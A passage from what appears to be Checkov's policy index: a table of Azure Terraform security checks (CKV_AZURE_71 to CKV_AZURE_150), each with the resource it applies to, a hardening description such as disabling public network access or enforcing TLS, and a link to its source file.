| CKV_AZURE_71 | resource | azurerm_app_service | Ensure that Managed identity provider is enabled for app services | Terraform | [AppServiceIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentityProviderEnabled.py) | | 3763 | CKV_AZURE_71 | resource | azurerm_linux_web_app | Ensure that Managed identity provider is enabled for app services | Terraform | [AppServiceIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentityProviderEnabled.py) | | 3764 | CKV_AZURE_71 | resource | azurerm_windows_web_app | Ensure that Managed identity provider is enabled for app services | Terraform | [AppServiceIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceIdentityProviderEnabled.py) | | 3765 | CKV_AZURE_72 | resource | azurerm_app_service | Ensure that remote debugging is not enabled for app services | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py) | | 3766 | CKV_AZURE_72 | resource | azurerm_linux_function_app | Ensure that remote debugging is not enabled for app services | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py) | | 3767 | CKV_AZURE_72 | resource | azurerm_linux_function_app_slot | Ensure that remote debugging is not enabled for app services | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py) | | 3768 | CKV_AZURE_72 | resource | azurerm_linux_web_app | Ensure that remote debugging is not enabled for app services | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py) | | 3769 | CKV_AZURE_72 | resource | azurerm_linux_web_app_slot | Ensure that remote debugging is not enabled for app services | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py) | | 3770 | CKV_AZURE_72 | resource | azurerm_windows_function_app | Ensure that remote debugging is not enabled for app services | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py) | | 3771 | CKV_AZURE_72 | resource | azurerm_windows_function_app_slot | Ensure that remote debugging is not enabled for app services | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py) | | 3772 | CKV_AZURE_72 | resource | azurerm_windows_web_app | Ensure that remote debugging is not enabled for app services | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py) | | 3773 | CKV_AZURE_72 | resource | azurerm_windows_web_app_slot | Ensure that remote debugging is not enabled for app services | Terraform | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceRemoteDebuggingNotEnabled.py) | | 3774 | CKV_AZURE_73 | resource | azurerm_automation_variable_bool | Ensure that Automation account variables are encrypted | Terraform | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AutomationEncrypted.py) | | 3775 | CKV_AZURE_73 | resource | azurerm_automation_variable_datetime | Ensure that Automation account variables are encrypted | Terraform | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AutomationEncrypted.py) | | 3776 | CKV_AZURE_73 | resource | azurerm_automation_variable_int | Ensure that Automation account variables are encrypted | Terraform | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AutomationEncrypted.py) | | 3777 | CKV_AZURE_73 | resource | azurerm_automation_variable_string | Ensure that Automation account variables are encrypted | Terraform | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AutomationEncrypted.py) | | 3778 | CKV_AZURE_74 | resource | azurerm_kusto_cluster | Ensure that Azure Data Explorer (Kusto) uses disk encryption | Terraform | [DataExplorerUsesDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataExplorerUsesDiskEncryption.py) | | 3779 | CKV_AZURE_75 | resource | azurerm_kusto_cluster | Ensure that Azure Data Explorer uses double encryption | Terraform | [AzureDataExplorerDoubleEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDataExplorerDoubleEncryptionEnabled.py) | | 3780 | CKV_AZURE_76 | resource | azurerm_batch_account | Ensure that Azure Batch account uses key vault to encrypt data | Terraform | [AzureBatchAccountUsesKeyVaultEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureBatchAccountUsesKeyVaultEncryption.py) | | 3781 | CKV_AZURE_77 | resource | azurerm_network_security_group | Ensure that UDP Services are restricted from the Internet | Terraform | [NSGRuleUDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleUDPAccessRestricted.py) | | 3782 | CKV_AZURE_77 | resource | azurerm_network_security_rule | Ensure that UDP Services are restricted from the Internet | Terraform | [NSGRuleUDPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleUDPAccessRestricted.py) | | 3783 | CKV_AZURE_78 | resource | azurerm_app_service | Ensure FTP deployments are disabled | Terraform | [AppServiceFTPSState.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceFTPSState.py) | | 3784 | CKV_AZURE_78 | resource | azurerm_linux_web_app | Ensure FTP deployments are disabled | Terraform | [AppServiceFTPSState.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceFTPSState.py) | | 3785 | CKV_AZURE_78 | resource | azurerm_windows_web_app | Ensure FTP deployments are disabled | Terraform | [AppServiceFTPSState.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceFTPSState.py) | | 3786 | CKV_AZURE_79 | resource | azurerm_security_center_subscription_pricing | Ensure that Azure Defender is set to On for SQL servers on machines | Terraform | [AzureDefenderOnSqlServerVMS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnSqlServerVMS.py) | | 3787 | CKV_AZURE_80 | resource | azurerm_app_service | Ensure that 'Net Framework' version is the latest, if used as a part of the web app | Terraform | [AppServiceDotnetFrameworkVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDotnetFrameworkVersion.py) | | 3788 | CKV_AZURE_80 | resource | azurerm_windows_web_app | Ensure that 'Net Framework' version is the latest, if used as a part of the web app | Terraform | [AppServiceDotnetFrameworkVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceDotnetFrameworkVersion.py) | | 3789 | CKV_AZURE_81 | resource | azurerm_app_service | Ensure that 'PHP version' is the latest, if used to run the web app | Terraform | [AppServicePHPVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServicePHPVersion.py) | | 3790 | CKV_AZURE_82 | resource | azurerm_app_service | Ensure that 'Python version' is the latest, if used to run the web app | Terraform | [AppServicePythonVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServicePythonVersion.py) | | 3791 | CKV_AZURE_83 | resource | azurerm_app_service | Ensure that 'Java version' is the latest, if used to run the web app | Terraform | [AppServiceJavaVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceJavaVersion.py) | | 3792 | CKV_AZURE_84 | resource | azurerm_security_center_subscription_pricing | Ensure that Azure Defender is set to On for Storage | Terraform | [AzureDefenderOnStorage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnStorage.py) | | 3793 | CKV_AZURE_85 | resource | azurerm_security_center_subscription_pricing | Ensure that Azure Defender is set to On for Kubernetes | Terraform | [AzureDefenderOnKubernetes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnKubernetes.py) | | 3794 | CKV_AZURE_86 | resource | azurerm_security_center_subscription_pricing | Ensure that Azure Defender is set to On for Container Registries | Terraform | [AzureDefenderOnContainerRegistry.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnContainerRegistry.py) | | 3795 | CKV_AZURE_87 | resource | azurerm_security_center_subscription_pricing | Ensure that Azure Defender is set to On for Key Vault | Terraform | [AzureDefenderOnKeyVaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderOnKeyVaults.py) | | 3796 | CKV_AZURE_88 | resource | azurerm_app_service | Ensure that app services use Azure Files | Terraform | [AppServiceUsedAzureFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceUsedAzureFiles.py) | | 3797 | CKV_AZURE_88 | resource | azurerm_linux_web_app | Ensure that app services use Azure Files | Terraform | [AppServiceUsedAzureFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceUsedAzureFiles.py) | | 3798 | CKV_AZURE_88 | resource | azurerm_windows_web_app | Ensure that app services use Azure Files | Terraform | [AppServiceUsedAzureFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceUsedAzureFiles.py) | | 3799 | CKV_AZURE_89 | resource | azurerm_redis_cache | Ensure that Azure Cache for Redis disables public network access | Terraform | [RedisCachePublicNetworkAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/RedisCachePublicNetworkAccessEnabled.py) | | 3800 | CKV_AZURE_91 | resource | azurerm_redis_cache | Ensure that only SSL are enabled for Cache for Redis | Terraform | [RedisCacheEnableNonSSLPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/RedisCacheEnableNonSSLPort.py) | | 3801 | CKV_AZURE_92 | resource | azurerm_linux_virtual_machine | Ensure that Virtual Machines use managed disks | Terraform | [VMStorageOsDisk.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMStorageOsDisk.py) | | 3802 | CKV_AZURE_92 | resource | azurerm_windows_virtual_machine | Ensure that Virtual Machines use managed disks | Terraform | [VMStorageOsDisk.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMStorageOsDisk.py) | | 3803 | CKV_AZURE_93 | resource | azurerm_managed_disk | Ensure that managed disks use a specific set of disk encryption sets for the customer-managed key encryption | Terraform | [AzureManagedDiskEncryptionSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureManagedDiskEncryptionSet.py) | | 3804 | CKV_AZURE_94 | resource | azurerm_mysql_flexible_server | Ensure that My SQL server enables geo-redundant backups | Terraform | [MySQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLGeoBackupEnabled.py) | | 3805 | CKV_AZURE_94 | resource | azurerm_mysql_server | Ensure that My SQL server enables geo-redundant backups | Terraform | [MySQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLGeoBackupEnabled.py) | | 3806 | CKV_AZURE_95 | resource | azurerm_virtual_machine_scale_set | Ensure that automatic OS image patching is enabled for Virtual Machine Scale Sets | Terraform | [VMScaleSetsAutoOSImagePatchingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMScaleSetsAutoOSImagePatchingEnabled.py) | | 3807 | CKV_AZURE_96 | resource | azurerm_mysql_server | Ensure that MySQL server enables infrastructure encryption | Terraform | [MySQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLEncryptionEnabled.py) | | 3808 | CKV_AZURE_97 | resource | azurerm_linux_virtual_machine_scale_set | Ensure that Virtual machine scale sets have encryption at host enabled | Terraform | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMEncryptionAtHostEnabled.py) | | 3809 | CKV_AZURE_97 | resource | azurerm_windows_virtual_machine_scale_set | Ensure that Virtual machine scale sets have encryption at host enabled | Terraform | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMEncryptionAtHostEnabled.py) | | 3810 | CKV_AZURE_98 | resource | azurerm_container_group | Ensure that Azure Container group is deployed into virtual network | Terraform | [AzureContainerGroupDeployedIntoVirtualNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureContainerGroupDeployedIntoVirtualNetwork.py) | | 3811 | CKV_AZURE_99 | resource | azurerm_cosmosdb_account | Ensure Cosmos DB accounts have restricted access | Terraform | [CosmosDBAccountsRestrictedAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CosmosDBAccountsRestrictedAccess.py) | | 3812 | CKV_AZURE_100 | resource | azurerm_cosmosdb_account | Ensure that Cosmos DB accounts have customer-managed keys to encrypt data at rest | Terraform | [CosmosDBHaveCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CosmosDBHaveCMK.py) | | 3813 | CKV_AZURE_101 | resource | azurerm_cosmosdb_account | Ensure that Azure Cosmos DB disables public network access | Terraform | [CosmosDBDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CosmosDBDisablesPublicNetwork.py) | | 3814 | CKV_AZURE_102 | resource | azurerm_postgresql_server | Ensure that PostgreSQL server enables geo-redundant backups | Terraform | [PostgressSQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgressSQLGeoBackupEnabled.py) | | 3815 | CKV_AZURE_103 | resource | azurerm_data_factory | Ensure that Azure Data Factory uses Git repository for source control | Terraform | [DataFactoryUsesGitRepository.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataFactoryUsesGitRepository.py) | | 3816 | CKV_AZURE_104 | resource | azurerm_data_factory | Ensure that Azure Data factory public network access is disabled | Terraform | [DataFactoryNoPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataFactoryNoPublicNetworkAccess.py) | | 3817 | CKV_AZURE_105 | resource | azurerm_data_lake_store | Ensure that Data Lake Store accounts enables encryption | Terraform | [DataLakeStoreEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DataLakeStoreEncryption.py) | | 3818 | CKV_AZURE_106 | resource | azurerm_eventgrid_domain | Ensure that Azure Event Grid Domain public network access is disabled | Terraform | [EventgridDomainNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventgridDomainNetworkAccess.py) | | 3819 | CKV_AZURE_107 | resource | azurerm_api_management | Ensure that API management services use virtual networks | Terraform | [APIServicesUseVirtualNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/APIServicesUseVirtualNetwork.py) | | 3820 | CKV_AZURE_108 | resource | azurerm_iothub | Ensure that Azure IoT Hub disables public network access | Terraform | [IoTNoPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/IoTNoPublicNetworkAccess.py) | | 3821 | CKV_AZURE_109 | resource | azurerm_key_vault | Ensure that key vault allows firewall rules settings | Terraform | [KeyVaultEnablesFirewallRulesSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyVaultEnablesFirewallRulesSettings.py) | | 3822 | CKV_AZURE_110 | resource | azurerm_key_vault | Ensure that key vault enables purge protection | Terraform | [KeyVaultEnablesPurgeProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyVaultEnablesPurgeProtection.py) | | 3823 | CKV_AZURE_111 | resource | azurerm_key_vault | Ensure that key vault enables soft delete | Terraform | [KeyVaultEnablesSoftDelete.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyVaultEnablesSoftDelete.py) | | 3824 | CKV_AZURE_112 | resource | azurerm_key_vault_key | Ensure that key vault key is backed by HSM | Terraform | [KeyBackedByHSM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KeyBackedByHSM.py) | | 3825 | CKV_AZURE_113 | resource | azurerm_mssql_server | Ensure that SQL server disables public network access | Terraform | [SQLServerPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerPublicAccessDisabled.py) | | 3826 | CKV_AZURE_114 | resource | azurerm_key_vault_secret | Ensure that key vault secrets have "content_type" set | Terraform | [SecretContentType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecretContentType.py) | | 3827 | CKV_AZURE_115 | resource | azurerm_kubernetes_cluster | Ensure that AKS enables private clusters | Terraform | [AKSEnablesPrivateClusters.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSEnablesPrivateClusters.py) | | 3828 | CKV_AZURE_116 | resource | azurerm_kubernetes_cluster | Ensure that AKS uses Azure Policies Add-on | Terraform | [AKSUsesAzurePoliciesAddon.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSUsesAzurePoliciesAddon.py) | | 3829 | CKV_AZURE_117 | resource | azurerm_kubernetes_cluster | Ensure that AKS uses disk encryption set | Terraform | [AKSUsesDiskEncryptionSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSUsesDiskEncryptionSet.py) | | 3830 | CKV_AZURE_118 | resource | azurerm_network_interface | Ensure that Network Interfaces disable IP forwarding | Terraform | [NetworkInterfaceEnableIPForwarding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NetworkInterfaceEnableIPForwarding.py) | | 3831 | CKV_AZURE_119 | resource | azurerm_network_interface | Ensure that Network Interfaces don't use public IPs | Terraform | [AzureNetworkInterfacePublicIPAddressId.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/AzureNetworkInterfacePublicIPAddressId.yaml) | | 3832 | CKV_AZURE_120 | resource | azurerm_application_gateway | Ensure that Application Gateway enables WAF | Terraform | [ApplicationGatewayEnablesWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/ApplicationGatewayEnablesWAF.yaml) | | 3833 | CKV_AZURE_120 | resource | azurerm_web_application_firewall_policy | Ensure that Application Gateway enables WAF | Terraform | [ApplicationGatewayEnablesWAF.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/ApplicationGatewayEnablesWAF.yaml) | | 3834 | CKV_AZURE_121 | resource | azurerm_frontdoor | Ensure that Azure Front Door enables WAF | Terraform | [AzureFrontDoorEnablesWAF.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureFrontDoorEnablesWAF.py) | | 3835 | CKV_AZURE_122 | resource | azurerm_web_application_firewall_policy | Ensure that Application Gateway uses WAF in "Detection" or "Prevention" modes | Terraform | [AppGWUseWAFMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppGWUseWAFMode.py) | | 3836 | CKV_AZURE_123 | resource | azurerm_frontdoor_firewall_policy | Ensure that Azure Front Door uses WAF in "Detection" or "Prevention" modes | Terraform | [FrontdoorUseWAFMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FrontdoorUseWAFMode.py) | | 3837 | CKV_AZURE_124 | resource | azurerm_search_service | Ensure that Azure Cognitive Search disables public network access | Terraform | [AzureSearchPublicNetworkAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSearchPublicNetworkAccessDisabled.py) | | 3838 | CKV_AZURE_125 | resource | azurerm_service_fabric_cluster | Ensures that Service Fabric use three levels of protection available | Terraform | [AzureServiceFabricClusterProtectionLevel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureServiceFabricClusterProtectionLevel.py) | | 3839 | CKV_AZURE_126 | resource | azurerm_service_fabric_cluster | Ensures that Active Directory is used for authentication for Service Fabric | Terraform | [ActiveDirectoryUsedAuthenticationServiceFabric.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ActiveDirectoryUsedAuthenticationServiceFabric.py) | | 3840 | CKV_AZURE_127 | resource | azurerm_mysql_server | Ensure that My SQL server enables Threat detection policy | Terraform | [MySQLTreatDetectionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLTreatDetectionEnabled.py) | | 3841 | CKV_AZURE_128 | resource | azurerm_postgresql_server | Ensure that PostgreSQL server enables Threat detection policy | Terraform | [PostgresSQLTreatDetectionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgresSQLTreatDetectionEnabled.py) | | 3842 | CKV_AZURE_129 | resource | azurerm_mariadb_server | Ensure that MariaDB server enables geo-redundant backups | Terraform | [MariaDBGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MariaDBGeoBackupEnabled.py) | | 3843 | CKV_AZURE_130 | resource | azurerm_postgresql_server | Ensure that PostgreSQL server enables infrastructure encryption | Terraform | [PostgreSQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLEncryptionEnabled.py) | | 3844 | CKV_AZURE_131 | resource | azurerm_security_center_contact | Ensure that 'Security contact emails' is set | Terraform | [SecurityCenterContactEmails.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecurityCenterContactEmails.py) | | 3845 | CKV_AZURE_132 | resource | azurerm_cosmosdb_account | Ensure cosmosdb does not allow privileged escalation by restricting management plane changes | Terraform | [CosmosDBDisableAccessKeyWrite.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CosmosDBDisableAccessKeyWrite.py) | | 3846 | CKV_AZURE_133 | resource | azurerm_frontdoor_firewall_policy | Ensure Front Door WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell | Terraform | [FrontDoorWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FrontDoorWAFACLCVE202144228.py) | | 3847 | CKV_AZURE_134 | resource | azurerm_cognitive_account | Ensure that Cognitive Services accounts disable public network access | Terraform | [CognitiveServicesDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CognitiveServicesDisablesPublicNetwork.py) | | 3848 | CKV_AZURE_135 | resource | azurerm_web_application_firewall_policy | Ensure Application Gateway WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell | Terraform | [AppGatewayWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppGatewayWAFACLCVE202144228.py) | | 3849 | CKV_AZURE_136 | resource | azurerm_postgresql_flexible_server | Ensure that PostgreSQL Flexible server enables geo-redundant backups | Terraform | [PostgreSQLFlexiServerGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLFlexiServerGeoBackupEnabled.py) | | 3850 | CKV_AZURE_137 | resource | azurerm_container_registry | Ensure ACR admin account is disabled | Terraform | [ACRAdminAccountDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRAdminAccountDisabled.py) | | 3851 | CKV_AZURE_138 | resource | azurerm_container_registry | Ensures that ACR disables anonymous pulling of images | Terraform | [ACRAnonymousPullDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRAnonymousPullDisabled.py) | | 3852 | CKV_AZURE_139 | resource | azurerm_container_registry | Ensure ACR set to disable public networking | Terraform | [ACRPublicNetworkAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRPublicNetworkAccessDisabled.py) | | 3853 | CKV_AZURE_140 | resource | azurerm_cosmosdb_account | Ensure that Local Authentication is disabled on CosmosDB | Terraform | [CosmosDBLocalAuthDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CosmosDBLocalAuthDisabled.py) | | 3854 | CKV_AZURE_141 | resource | azurerm_kubernetes_cluster | Ensure AKS local admin account is disabled | Terraform | [AKSLocalAdminDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSLocalAdminDisabled.py) | | 3855 | CKV_AZURE_142 | resource | azurerm_machine_learning_compute_cluster | Ensure Machine Learning Compute Cluster Local Authentication is disabled | Terraform | [MLCCLADisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MLCCLADisabled.py) | | 3856 | CKV_AZURE_143 | resource | azurerm_kubernetes_cluster | Ensure AKS cluster nodes do not have public IP addresses | Terraform | [AKSNodePublicIpDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSNodePublicIpDisabled.py) | | 3857 | CKV_AZURE_144 | resource | azurerm_machine_learning_workspace | Ensure that Public Access is disabled for Machine Learning Workspace | Terraform | [MLPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MLPublicAccess.py) | | 3858 | CKV_AZURE_145 | resource | azurerm_function_app | Ensure Function app is using the latest version of TLS encryption | Terraform | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py) | | 3859 | CKV_AZURE_145 | resource | azurerm_function_app_slot | Ensure Function app is using the latest version of TLS encryption | Terraform | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py) | | 3860 | CKV_AZURE_145 | resource | azurerm_linux_function_app | Ensure Function app is using the latest version of TLS encryption | Terraform | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py) | | 3861 | CKV_AZURE_145 | resource | azurerm_linux_function_app_slot | Ensure Function app is using the latest version of TLS encryption | Terraform | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py) | | 3862 | CKV_AZURE_145 | resource | azurerm_windows_function_app | Ensure Function app is using the latest version of TLS encryption | Terraform | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py) | | 3863 | CKV_AZURE_145 | resource | azurerm_windows_function_app_slot | Ensure Function app is using the latest version of TLS encryption | Terraform | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py) | | 3864 | CKV_AZURE_146 | resource | azurerm_postgresql_configuration | Ensure server parameter 'log_retention' is set to 'ON' for PostgreSQL Database Server | Terraform | [PostgreSQLServerLogRetentionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerLogRetentionEnabled.py) | | 3865 | CKV_AZURE_147 | resource | azurerm_postgresql_server | Ensure PostgreSQL is using the latest version of TLS encryption | Terraform | [PostgreSQLMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLMinTLSVersion.py) | | 3866 | CKV_AZURE_148 | resource | azurerm_redis_cache | Ensure Redis Cache is using the latest version of TLS encryption | Terraform | [RedisCacheMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/RedisCacheMinTLSVersion.py) | | 3867 | CKV_AZURE_149 | resource | azurerm_linux_virtual_machine | Ensure that Virtual machine does not enable password authentication | Terraform | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMDisablePasswordAuthentication.py) | | 3868 | CKV_AZURE_149 | resource | azurerm_linux_virtual_machine_scale_set | Ensure that Virtual machine does not enable password authentication | Terraform | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMDisablePasswordAuthentication.py) | | 3869 | CKV_AZURE_150 | resource | azurerm_machine_learning_compute_cluster | Ensure Machine Learning Compute Cluster Minimum Nodes Set To 0 | Terraform | 